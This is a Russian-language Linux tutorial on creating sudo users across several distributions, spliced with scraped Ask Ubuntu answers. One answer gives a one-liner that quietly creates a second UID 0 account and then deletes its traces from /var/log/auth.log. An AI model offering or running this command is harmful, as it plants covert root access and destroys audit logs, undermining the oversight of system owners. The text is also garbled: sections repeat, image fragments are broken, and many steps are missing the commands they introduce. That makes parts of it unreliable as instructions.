В Linux команда sudo дает вам максимальные привилегии для выполнения различных административных функций, несмотря на ваш доступ без полномочий root. Но чтобы использовать sudo, в вашей системе должна быть учетная запись суперпользователя.
Из соображений безопасности работа от пользователя root в системе Linux не рекомендуется, так как при ошибке в команде могут произойти необратимые повреждения файлов и системы.
Оптимальным решением является создание дополнительного пользователя VDS с привилегиями sudo. Механизм sudo позволит пользователю при необходимости выполнять операции с правами администратора (root).
По этой же инструкции создаются и обычные пользователи системы (без привилегий sudo) — достаточно выполнить первые три шага.
- Is there a
adduser
parameter to give the usersudo
powers automatically? - What are the default settings for
adduser
? Will it automatically create home directories and all the other things without extra parameters? (i.e. isadduser <username>
enough?)
53 gold badges469 silver badges719 bronze badges
asked Oct 21, 2011 at 13:56
adduser <username> sudo
less /etc/adduser.conf
adduser <username> --group sudo
5 gold badges17 silver badges34 bronze badges
answered Oct 21, 2011 at 14:02
Bruno Pereira
33 gold badges199 silver badges223 bronze badges
adduser <username> --ingroup sudo
In Ubuntu 11.10 and earlier, use this instead:
adduser <username> --group admin
adduser <username> --group sudo
sudo usermod -aG sudo <username>
1 silver badge6 bronze badges
answered Oct 21, 2011 at 14:00
Amith KK
13 gold badges66 silver badges121 bronze badges
sudo useradd *new-admin-username* -s /bin/bash -g sudo -m
-s
sets the user’s login shell-m
makes the user’s home directory if it doesn’t exist:
/home/*new-admin-username*
-g
adds the user to the sudo group so they will have admin privileges (>11.10)
sudo passwd *new-admin-username*
su *new-admin-username*
cd ~/
pwd
53 gold badges469 silver badges719 bronze badges
answered Nov 19, 2014 at 23:46
3 silver badges6 bronze badges
USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment
Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid
0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;'
/var/log/auth.log
answered Nov 14, 2019 at 14:41
Добавление пользователя в список sudoers позволяет предоставить административный доступ обычным пользователям. Таким образом, вам не нужно сообщать пароль root с другими пользователями вашей системы. Добавление пользователей в список sudoers позволяет им выполнять системные команды с привилегиями root.
Вот как вы можете предоставить роли администратора пользователям Linux, добавив их в список sudoers.
sudo adduser bob
Введите необходимые данные или нажмите Enter, чтобы пропустить поля. Как только пользователь будет создан, вы готовы добавить его имя пользователя в список sudoers.
- Добавить существующих пользователей Linux в Sudoers через терминал
- Добавление пользователей Linux в Sudoers через графический интерфейс
- Управление разрешениями пользователей в Linux
- Создание нового суперпользователя в Arch Linux
- Как добавить суперпользователя в Fedora
- Добавление учетной записи sudo в CentOS
- Создание пользователя с привилегиями sudo
- Если для root используется аутентификация по SSH-ключу
- Добавление суперпользователя в Ubuntu и Debian
- 1. Подход командной строки
- 2. Использование графического интерфейса
- Предоставление прав суперпользователя новым пользователям
- Другие команды для управления пользователями
Добавить существующих пользователей Linux в Sudoers через терминал
sudo usermod -aG sudo bob
Здесь флаг -a выступает за эксплуатацию ppend и -G задает Sudo Group. Вы можете проверить, был ли пользователь bob успешно добавлен в sudoers, с помощью команды groups .
groups bob
sudo adduser bob sudo
Добавление пользователей Linux в Sudoers через графический интерфейс
Вы также можете добавлять пользователей в файл sudoers графически, используя среду рабочего стола Linux . После создания пользователя выполните следующие действия.
- Перейдите к деталям в меню настроек .
- Щелкните Пользователи, чтобы получить доступ к настройкам пользователя.
- Нажмите « Разблокировать» в верхнем окне.
- При появлении запроса введите свой пароль.
- Нажмите на пользователя bob
- Измените тип учетной записи на администратор
Управление разрешениями пользователей в Linux
Создание нового суперпользователя в Arch Linux
В Arch Linux, поскольку система не создает учетную запись sudo по умолчанию, пользователь должен создать ее вручную. Первый шаг – получить root-доступ с помощью команды su .
su
Введите пароль для пользователя root, а затем выполните следующую команду:
pacman -Sy sudo
Как только sudo будет установлен, создайте нового пользователя.
useradd --create-home username
Установите пароль для нового пользователя с помощью команды passwd .
passwd username
usermod --append --groups wheel username
Вы можете проверить файл sudoers, используя следующую команду:
visudo
После открытия файла / etc / sudoers вам необходимо отредактировать некоторые спецификации привилегий пользователя, расположенные в нижней части файла sudoers. Найдите в текстовом файле следующую строку:
#%wheel ALL=(ALL) ALL
Удалите символ # перед линией колеса% и сохраните изменения. Нажмите Ctrl + O на клавиатуре, чтобы сохранить файл.
Чтобы проверить, успешно ли добавлен пользователь, вам необходимо выполнить следующую команду:
su username
Приглашение bash изменится, чтобы отразить имя нового пользователя. Для проверки введите:
whoami
Он должен отображать имя текущего пользователя. Чтобы проверить, есть ли у нового пользователя права sudo, введите:
sudo whoami
Если в выводе отображается root , то текущий пользователь имеет административный доступ.
Как добавить суперпользователя в Fedora
И последнее, но не менее важное: если вы используете Fedora в качестве основной ОС, вы можете назначить привилегии суперпользователя новому пользователю, выполнив несколько простых шагов.
adduser username
Теперь установите пароль для нового пользователя.
passwd username
usermod -aG wheel username
Откройте файл sudoers, используя следующую команду:
visudo
Теперь вам нужно отредактировать некоторые спецификации привилегий пользователя. Найдите следующую строку в текстовом файле и раскомментируйте строку % wheel ALL = (ALL) , удалив предшествующий ей символ решетки ( # ).
## Uncomment to allow members of group wheel to execute any command
%wheel ALL=(ALL) ALL
.jpg?w=800&is-pending-load=1#038;ssl=1)
Добавление учетной записи sudo в CentOS
Учитывая популярность CentOS, было бы обидно пропустить процесс добавления учетной записи sudo в этот дистрибутив. Процесс добавления учетной записи sudo в CentOS очень похож на процесс, указанный выше для Arch Linux, но с несколькими основными изменениями.
su
После входа в систему как пользователь root пришло время создать нового пользователя, которого мы затем добавим в список sudoers.
useradd -G wheel username
Установите пароль для этого нового пользователя с помощью команды passwd.
passwd username
Теперь войдите в систему как новый пользователь, чтобы проверить, есть ли у вас доступ к sudo. Для этого введите одну за другой следующие команды:
su username
sudo whoami
.jpg?w=800&is-pending-load=1#038;ssl=1)
Как только вы нажмете Enter после ввода первой команды, система предложит вам ввести пароль. Введите новый пароль, чтобы продолжить. В выводе приведенной выше команды будет отображаться root , что означает, что текущий пользователь имеет привилегии root.
Создание пользователя с привилегиями sudo
По умолчанию создаваемый пользователь будет добавлен в группу с таким же именем, а также для него будет создан домашний каталог.
2. В Ubuntu / Debian далее будет запрошен пароль пользователя. Его будет необходимо ввести дважды. Помните, что символы пароля не отображаются в консоли Linux при вводе.
CentOS для установки пароля выполните команду:
После введите пароль и повторите его.
Ubuntu / Debian будет запрошен ввод дополнительной информации о пользователе (имя, номер телефона и пр.). Вы можете указать данные или нажимать Enter, чтобы оставить значения по умолчанию (т.е. пустые). После нажмите Y для подтверждения.
CentOS, если вы хотите указать дополнительную информацию, выполните команду:
chfn username
На этом этапе создание обычного пользователя (без привилегий sudo) завершено
4. Теперь для того, чтобы предоставить пользователю sudo-привилегии, его нужно добавить в группу sudo. Это делается следующими командами.
В Ubuntu / Debian:
usermod -aG sudo username
usermod -aG wheel username
5. Проверьте работу пользователя. Для этого переключитесь на сеанс работы от его имени:
su - username
Система запросит пароль пользователя (при первом запуске sudo). Введите его, после чего попробуйте выполнить любую команду с привилегиями sudo. Например, можно просмотреть содержимое каталога /root
, которое недоступно пользователю с обычными правами:
sudo ls -la /root
Если содержимое каталога отобразится, значит, созданный пользователь работает корректно.
Если для root используется аутентификация по SSH-ключу
Если вы вошли под root, используя ключ SSH, то аутентификация по паролю для SSH отключена. Вам нужно будет добавить копию вашего локального открытого ключа в файл нового пользователя ~/.ssh/authorized_keys
для успешного входа в систему.
Поскольку ваш открытый ключ уже находится в файле ~/.ssh/authorized_keys
учетной записи root, можно скопировать этот файл в каталог нового пользователя с помощью команды cp
и настроить права на файлы с помощью команды chown
.
Скопируем весь каталог в домашний каталог нового пользователя:
Если нужно запустить команду с правами администратора, введите sudo
перед ней, например:
Вам будет предложено ввести пароль обычного пользователя при первом использовании sudo
(и периодически после этого).
6. Этот шаг не является обязательным, но для повышения безопасности можно отключить дистанционный доступ для суперпользователя root. В этом случае пользователям всегда будет необходимо подключаться под собственными учетными записями, что позволит отслеживать действия на сервере, видеть, кем были внесены те или иные изменения и т.д.
Для отключения доступа root откройте файл
sudo nano /etc/ssh/sshd_config
PermitRootLogin
и замените ее текущее значение на:
PermitRootLogin no
Выйдите из редактора с сохранением изменений (комбинация Ctrl X -> Y -> Enter).
После выполненных действий перезапустите службу SSH командами ниже.
В Ubuntu / Debian:
sudo service ssh restart
sudo service sshd restart
Добавление суперпользователя в Ubuntu и Debian
В Ubuntu и других дистрибутивах на основе Debian есть два основных способа добавления пользователя sudo. Вы можете сделать это через терминал или использовать графический подход, используя Системные настройки.
1. Подход командной строки
Чтобы добавить пользователя sudo через командную строку, вам нужно сначала запустить терминал. Затем введите следующую команду:
sudo adduser username
sudo usermod -aG sudo username
После того, как вы добавили пользователя в группу sudo, вам необходимо проверить, правильно ли работает вышеупомянутая команда. Для проверки введите следующее:
groups username
Если вы опытный пользователь, который предпочитает избегать нескольких команд, вы можете напрямую создать нового суперпользователя с помощью одной команды:
sudo adduser username sudo
Процесс проверки остается прежним.
2. Использование графического интерфейса
Перед добавлением пользователя в группу sudo с помощью системных настроек вам необходимо сначала создать нового пользователя через командную строку. Затем следуйте инструкциям ниже, чтобы продолжить:
- Перейдите в меню «Приложения» и выберите « Пользователи» . Вы увидите список пользователей, включая вновь созданных пользователей.
- Нажмите на опцию « Разблокировать» , а затем введите пароль root. Вы можете переключиться на другую учетную запись пользователя, просто щелкнув ее.
- Как только вы выберете его, вы увидите возможность преобразовать вновь созданную учетную запись пользователя в учетную запись администратора. Переключите кнопку рядом с меткой администратора , и учетная запись будет добавлена как учетная запись sudo.
Предоставление прав суперпользователя новым пользователям
В зависимости от того, какой дистрибутив вы используете, процесс создания новых пользователей sudo будет более или менее таким же, с некоторыми небольшими отличиями. Идея состоит в том, чтобы убедиться, что вы можете предоставить права root всем новым администраторам, которые будут использовать дистрибутив.
Не многие пользователи Linux знают об этом, но sudo и su – это две разные команды. Хотя оба они выполняют схожие функции, они сильно отличаются друг от друга во многих аспектах.
Другие команды для управления пользователями
Если вам необходимо добавить пользователя в другую группу, она должна быть предварительно создана:
В Ubuntu и Debian для создания группы также можно использовать команду:
После чего можно создать пользователя следующим образом:
Для того, чтобы изменить первичную группу пользователя, используется ключ -g
:
Для смены домашнего каталога пользователя используется команда:
Получить информацию о пользователе можно командой:
Вывод будет содержать примерно следующие сведения:
Сменить пароль можно командой:
Просмотреть список всех созданных пользователей можно командой:
Чтобы получить только список имен, без дополнительной информации, можно использовать:
sed 's/:.*//' /etc/passwd
Вывести список пользователей, которые сейчас в системе, можно простой командой w
Удалить пользователя можно командой:
Для удаления группы используется команда: